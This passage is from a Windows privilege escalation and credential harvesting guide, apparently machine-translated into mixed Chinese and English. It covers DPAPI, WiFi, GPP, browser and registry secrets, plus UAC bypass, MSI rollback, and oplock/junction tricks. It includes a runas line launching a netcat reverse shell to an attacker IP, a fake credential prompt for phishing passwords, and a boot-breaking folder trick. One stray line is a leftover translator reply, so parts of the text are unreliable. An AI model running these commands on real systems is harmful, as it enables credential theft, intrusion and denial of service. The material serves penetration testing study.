User: WORKGROUP\Administrator
然后你可以使用 runas 和 /savecred 选项来使用已保存的凭据。下面的示例通过 SMB 共享调用远程 binary。
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
使用 runas 与一组提供的 credential。
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
注意:mimikatz、lazagne、credentialfileview、VaultPasswordView,或来自 Empire Powershells module。
DPAPI
Data Protection API (DPAPI) 提供了一种用于数据对称加密的方法,主要在 Windows 操作系统中用于对非对称私钥进行对称加密。此加密利用用户或系统的秘密显著增加熵。
DPAPI 通过从用户的登录凭据派生出的对称密钥来对密钥进行加密。在涉及系统加密的场景中,它使用系统的域认证凭据。
使用 DPAPI 加密的用户 RSA 密钥存储在 %APPDATA%\Microsoft\Protect\{SID} 目录中,其中 {SID} 表示用户的 Security Identifier。DPAPI 密钥与用于在同一文件中保护用户私钥的主密钥共存,通常由 64 字节的随机数据组成。(需要注意的是,该目录的访问受限,无法通过 CMD 中的 dir 命令列出其内容,但可以通过 PowerShell 列出。)
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
你可以使用 mimikatz module dpapi::masterkey 并使用适当的参数(/pvk 或 /rpc)来解密它。
credentials files protected by the master password 通常位于:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
你可以使用 mimikatz module dpapi::cred 与 适当的 /masterkey 来解密。
你可以 提取 许多 DPAPI 主密钥 从 内存 使用 sekurlsa::dpapi 模块(如果你是 root)。
PowerShell 凭据
PowerShell 凭据 通常用于 脚本 和 自动化任务,作为便捷的加密凭据存储方式。 这些凭据由 DPAPI 保护,这通常意味着它们只能由在创建它们的相同用户和相同计算机上解密。
要从包含 PS 凭据的文件中解密该凭据,你可以执行:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
已保存的 RDP 连接
你可以在 HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
和在 HKCU\Software\Microsoft\Terminal Server Client\Servers\
最近运行的命令
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
远程桌面凭据管理器
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
Sticky Notes
People often use the Sticky Notes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.
AppCmd.exe
注意:要从 AppCmd.exe 恢复密码,你需要是管理员并在高完整性级别下运行。
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
检查是否存在 C:\Windows\CCM\SCClient.exe .
安装程序以 run with SYSTEM privileges 身份运行,许多容易受到 DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
文件和注册表 (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Host Keys
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH 密钥在注册表中
SSH 私钥可以存储在注册表键 HKCU\Software\OpenSSH\Agent\Keys 中,因此你应该检查那里是否有任何有趣的内容:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
如果在该路径中发现任何条目,很可能是保存的 SSH key。它以加密形式存储,但可以使用 https://github.com/ropnop/windows_sshagent_extract 轻松解密。
关于此技术的更多信息见: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
如果 ssh-agent service 未运行且你希望它在启动时自动启动,请运行:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
看起来该技术不再有效。我尝试创建了一些 ssh 密钥,用
ssh-add添加,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在非对称密钥认证期间也未检测到dpapi.dll的使用。
无人值守的文件
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
你也可以使用 metasploit 搜索这些文件: post/windows/gather/enum_unattend
示例内容:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM 备份
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
云凭证
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
搜索名为 SiteList.xml 的文件
缓存的 GPP 密码
曾经存在一项功能,允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员账户。然而,这种方法有严重的安全缺陷。首先,Group Policy Objects (GPOs) 以 XML 文件的形式存放在 SYSVOL 中,任何域用户都可以访问这些文件。其次,存储在这些 GPP 中的密码使用公开记录的默认密钥以 AES256 加密,任何经过身份验证的用户都可以解密这些密码。这带来了严重风险,因为这可能允许用户获得提升的权限。
为降低该风险,开发了一个函数,用于扫描本地缓存的、包含非空 “cpassword” 字段的 GPP 文件。发现此类文件后,该函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 及文件位置的详细信息,便于定位并修复该安全漏洞。
在 C:\ProgramData\Microsoft\Group Policy\history 或在 C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history(W Vista 之前) 中搜索以下文件:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
要解密 cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
使用 crackmapexec 获取密码:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web 配置
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
包含凭据的 web.config 示例:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN credentials
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
日志
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
要求提供 credentials
你可以随时要求用户输入他的 credentials,甚至是其他用户的 credentials,如果你认为他可能知道它们(注意直接向客户索取这些credentials是非常危险的):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
可能包含凭据的文件名
已知一些文件在某段时间包含以 明文 或 Base64 形式存储的 密码。
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
我没有收到要翻译的文件内容。请粘贴 src/windows-hardening/windows-local-privilege-escalation/README.md 的内容,或提供要搜索的文件列表,或授权我访问仓库。收到文件后我会把其中的英文翻译成中文,并保持原有的 markdown/HTML 标签、路径和链接不变。
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
RecycleBin 中的 Credentials
你也应该检查 Bin,查看其中的 credentials
要恢复多个程序保存的 recover passwords,你可以使用: http://www.nirsoft.net/password_recovery_tools.html
注册表中
其他可能包含 credentials 的 registry keys
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
浏览器历史记录
You should check for dbs where passwords from Chrome or Firefox are stored.
也要检查浏览器的历史记录、书签和收藏夹,可能会在那里存有一些 密码。
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) 是 Windows 操作系统内置的一项技术,允许不同语言的软件组件之间的 互相通信。每个 COM 组件都通过 class ID (CLSID) 来标识,并且每个组件通过一个或多个接口公开功能,这些接口由 interface IDs (IIDs) 标识。
COM 类和接口在注册表中分别定义于 HKEY\CLASSES\ROOT\CLSID 和 HKEY\CLASSES\ROOT\Interface。该注册表是通过合并 HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes 而成,即 HKEY\CLASSES\ROOT。
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
.png)
基本上,如果你能覆盖任何将被执行的 DLL,并且该 DLL 会由不同用户执行,那么你就可能执行 escalate privileges。
要了解攻击者如何将 COM Hijacking 用作持久化机制,请参见:
在文件和注册表中通用的密码搜索
搜索文件内容
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
按特定文件名搜索文件
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
在注册表中搜索键名和密码
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
搜索密码的工具
MSF-Credentials Plugin is a msf 插件。我创建此插件用于 automatically execute every metasploit POST module that searches for credentials 在受害者主机上。
Winpeas 自动搜索本页提到的所有包含密码的文件。
Lazagne 是另一个从系统提取密码的优秀工具。
工具 SessionGopher 会搜索若干将这些数据以明文保存的工具的 sessions, usernames 和 passwords (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
想象一下,一个以 SYSTEM 身份运行的进程用OpenProcess()打开了一个新进程并赋予其 full access。同一进程还创建了一个新进程(CreateProcess()),该进程权限较低但继承了主进程的所有打开句柄。
然后,如果你对该低权限进程拥有 full access,你可以获取用 OpenProcess() 打开的对特权进程的 open handle 并 inject a shellcode。
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Shared memory segments, referred to as pipes, enable process communication and data transfer.
Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.
When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. 识别出一个通过你可以模拟的 pipe 与之通信的 privileged process,就有机会在该进程与您建立的 pipe 交互时,通过采用该进程的身份来 gain higher privileges。有关执行此类攻击的说明,请参阅 here 和 here。
另外,下面的工具允许你 intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
ClientAttachwithpszDomainUserset to a writable existing path → the service opens it viaCreateFileW(..., OPEN_EXISTING)and uses it for async event writes.- Each event writes the attacker-controlled
InitContextfromInitializeto that handle. Register a line app withLRegisterRequestRecipient(Req_Func 61), triggerTRequestMakeCall(Req_Func 121), fetch viaGetAsyncEvents(Req_Func 0), then unregister/shutdown to repeat deterministic writes. - Add yourself to
[TapiAdministrators]inC:\Windows\TAPI\tsec.ini, reconnect, then callGetUIDllNamewith an arbitrary DLL path to executeTSPI_providerUIIdentifyasNETWORK SERVICE.
More details:
Telephony Tapsrv Arbitrary Dword Write To Rce
Misc
File Extensions that could execute stuff in Windows
Check out the page https://filesec.io/
Monitoring Command Lines for passwords
When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. 下面的脚本每两秒捕获一次进程的 command lines,并将当前状态与前一次状态比较,输出任何差异。
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
从进程窃取密码
从低权限用户提升到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
如果你可以访问图形界面(通过 console 或 RDP),并且 UAC 已启用,在某些 Microsoft Windows 版本中,非特权用户可以以 “NT\AUTHORITY SYSTEM” 身份运行终端或任何其他进程。
这使得可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的二进制文件是由 Microsoft 签名和发布的。
受影响的一些系统包括:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
要利用此漏洞,需要执行以下步骤:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Read this to learn about Integrity Levels:
Then read this to learn about UAC and UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
The technique described in this blog post with a exploit code available here.
该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个恶意 MSI installer,用于劫持 C:\Config.Msi 文件夹,该文件夹随后会被 Windows Installer 用来在卸载其他 MSI 包时存放 rollback 文件,而这些 rollback 文件会被修改为包含恶意载荷。
摘要技术如下:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
创建一个
.msi,在可写文件夹(TARGETDIR)中安装一个无害文件(例如dummy.txt)。 -
将安装程序标记为 “UAC Compliant”,以便 非管理员用户 可以运行它。
-
在安装后对该文件保持一个 handle 打开。
-
Step 2: Begin Uninstall
-
卸载同一个
.msi。 -
卸载过程开始将文件移动到
C:\Config.Msi并将它们重命名为.rbf文件(rollback 备份)。 -
使用
GetFinalPathNameByHandle轮询打开的文件句柄,以检测该文件何时变为C:\Config.Msi\<random>.rbf。 -
Step 3: Custom Syncing
-
该
.msi包含一个 自定义卸载动作(SyncOnRbfWritten),该动作: -
在
.rbf被写入时发出信号。 -
然后在继续卸载前 等待 另一个事件。
-
Step 4: Block Deletion of
.rbf -
当收到信号后,以不带
FILE_SHARE_DELETE的方式打开.rbf文件——这会阻止其被删除。 -
然后 回传信号,让卸载可以完成。
-
Windows Installer 无法删除该
.rbf,因为它无法删除所有内容,C:\Config.Msi不会被移除。 -
Step 5: Manually Delete
.rbf -
由你(攻击者)手动删除
.rbf文件。 -
现在
C:\Config.Msi为空,可以被劫持。
At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
重新创建
C:\Config.Msi文件夹。 -
设置弱 DACL(例如 Everyone:F),并保持一个带有
WRITE_DAC的 handle 打开。 -
Step 7: Run Another Install
-
再次安装该
.msi,并设置: -
TARGETDIR: 可写位置。 -
ERROROUT: 一个会触发强制失败的变量。 -
这次安装将用来再次触发 rollback,该过程会读取
.rbs和.rbf。 -
Step 8: Monitor for
.rbs -
使用
ReadDirectoryChangesW监控C:\Config.Msi,直到出现新的.rbs。 -
捕获其文件名。
-
Step 9: Sync Before Rollback
-
该
.msi包含一个 自定义安装动作(SyncBeforeRollback),该动作: -
在
.rbs被创建时发出事件信号。 -
然后在继续之前 等待。
-
Step 10: Reapply Weak ACL
-
在收到
.rbs created事件后: -
Windows Installer 会重新应用强 ACL 到
C:\Config.Msi。 -
但由于你仍然有一个带
WRITE_DAC的句柄,你可以再次重新应用弱 ACL。
ACL 仅在 handle 打开时强制执行,所以你仍然可以写入该文件夹。
-
Step 11: Drop Fake
.rbsand.rbf -
覆盖
.rbs文件,写入一个伪造的 rollback 脚本,指示 Windows: -
将你的
.rbf文件(恶意 DLL)恢复到一个有特权的位置(例如C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)。 -
放置你伪造的
.rbf,其中包含恶意的 SYSTEM 级别载荷 DLL。 -
Step 12: Trigger the Rollback
-
发出同步事件,恢复安装程序执行。
-
一个type 19 custom action(
ErrorOut) 被配置为在已知点故意使安装失败。 -
这会导致rollback 开始。
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
读取你恶意的
.rbs。 -
将你的
.rbfDLL 复制到目标位置。 -
现在你的 恶意 DLL 已位于 SYSTEM 加载路径 中。
-
Final Step: Execute SYSTEM Code
-
运行一个受信任的 auto-elevated binary(例如
osk.exe),该二进制加载你劫持的 DLL。 -
Boom:你的代码以 SYSTEM 身份执行。
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
主要的 MSI rollback 技术(前述那个)假定你可以删除一个整个文件夹(例如 C:\Config.Msi)。但如果你的漏洞只允许任意文件删除呢?
你可以利用 NTFS internals:每个文件夹都有一个隐藏的替代数据流,称为:
C:\SomeFolder::$INDEX_ALLOCATION
该流存储该文件夹的 索引元数据。
因此,如果你对某个文件夹 删除 ::$INDEX_ALLOCATION 流,NTFS 会将该文件夹从文件系统中删除。
你可以使用诸如以下的标准文件删除 API 来做到这一点:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
即使你正在调用一个文件删除 API,它删除的是文件夹本身。
从删除文件夹内容到 SYSTEM EoP
如果你的 primitive 不允许你删除任意文件/文件夹,但它确实允许删除攻击者控制的文件夹的内容?
- 步骤 1:设置诱饵文件夹和文件
- 创建:
C:\temp\folder1 - 在其中:
C:\temp\folder1\file1.txt
- 步骤 2:在
file1.txt上放置一个 oplock
- 当有具有特权的进程尝试删除
file1.txt时,这个 oplock 会暂停执行。
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Step 3: 触发 SYSTEM 进程(例如
SilentCleanup)
- 该进程扫描文件夹(例如
%TEMP%)并尝试删除其内容。 - 当它到达
file1.txt时,oplock 触发 并将控制权交给你的回调。
- Step 4: 在 oplock 回调内部 – 重定向删除操作
-
选项 A:将
file1.txt移动到其他位置 -
这会在不破坏 oplock 的情况下清空
folder1。 -
不要直接删除
file1.txt—— 那会提前释放 oplock。 -
选项 B:将
folder1转换为 junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- 选项 C:在
\RPC Control中创建一个 symlink:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
这针对存储文件夹元数据的 NTFS 内部流 — 删除它会删除该文件夹。
- 步骤 5:释放 oplock
- SYSTEM 进程继续并尝试删除
file1.txt。 - 但现在,由于 junction + symlink,它实际上正在删除:
C:\Config.Msi::$INDEX_ALLOCATION
结果: C:\Config.Msi 被 SYSTEM 删除。
从 Arbitrary Folder Create 到 永久 DoS
利用一个 primitive 可以让你 以 SYSTEM/admin 创建任意文件夹 — 即使 你不能写文件 或 设置弱权限。
创建一个文件夹(不是文件),名称为一个关键的 Windows driver,e.g.:
C:\Windows\System32\cng.sys
- This path normally corresponds to the
cng.syskernel-mode driver. - If you pre-create it as a folder, Windows fails to load the actual driver on boot.
- Then, Windows tries to load
cng.sysduring boot. - It sees the folder, fails to resolve the actual driver, and crashes or halts boot.
- There’s no fallback, and no recovery without external intervention (e.g., boot repair or disk access).
From privileged log/backup paths + OM symlinks to arbitrary file overwrite / boot DoS
When a privileged service writes logs/exports to a path read from a writable config, redirect that path with Object Manager symlinks + NTFS mount points to turn the privileged write into an arbitrary overwrite (even without SeCreateSymbolicLinkPrivilege).
Requirements
- Config storing the target path is writable by the attacker (e.g.,
%ProgramData%\...\.ini). - Ability to create a mount point to
\RPC Controland an OM file symlink (James Forshaw symboliclink-testing-tools). - A privileged operation that writes to that path (log, export, report).
Example chain
- Read the config to recover the privileged log destination, e.g.
